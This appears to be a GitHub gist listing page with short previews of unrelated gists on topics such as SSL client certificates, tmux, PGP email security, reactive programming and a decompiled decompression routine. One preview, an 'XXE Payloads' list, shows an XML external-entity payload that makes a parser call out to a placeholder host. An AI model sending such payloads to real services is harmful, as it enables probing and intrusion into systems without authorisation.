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@mtigas
mtigas / gist:952344
Last active October 16, 2024 09:03
Mini tutorial for configuring client-side SSL certificates.

Client-side SSL

For excessively paranoid client authentication.


Updated Apr 5 2019:

because this is a gist from 2011 that people stumble into and maybe you should AES instead of 3DES in the year of our lord 2019.

some other notes:

@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active November 17, 2024 01:28
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@dergachev
dergachev / GIF-Screencast-OSX.md
Last active November 5, 2024 18:44
OS X Screencast to animated GIF

OS X Screencast to animated GIF

This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.

Screencapture GIF

Instructions

To capture the video (filesize: 19MB), using the free "QuickTime Player" application:

@staltz
staltz / introrx.md
Last active November 17, 2024 01:08
The introduction to Reactive Programming you've been missing
@grugq
grugq / gist:03167bed45e774551155
Last active October 30, 2024 02:44
operational pgp - draft

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

@staaldraad
staaldraad / XXE_payloads
Last active October 8, 2024 15:20
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

Simple Security Guidelines

Using an iDevice? (Best option)

  • Use an iPod or an iPad without a SIM card
  • Use an iPhone
  • Do not jailbreak
  • Always upgrade to new iOS versions
  • Use Brave browser

Need Secure chat?

import sys, marshal, functools, subprocess
child_script = """
import marshal, sys, types;
fn, args, kwargs = marshal.load(sys.stdin)
marshal.dump(
types.FunctionType(fn, globals())(*args, **kwargs),
sys.stdout)
"""
@yupferris
yupferris / mt.rs
Last active August 20, 2018 08:44
Mario's Tennis graphics decompression routine in Rust-like pseudo-code. Manual decompilation is a bitch. :)
fn decompress(mut src: *const u8, dst: *mut u8) {
// Skip first 2 bytes (they're always zero)
src += 2;
let original_dst = dst;
// Load bytes_left
let mut bytes_left = ((*src as i32) << 8) + 1;
src += 1;
bytes_left += *src as i32;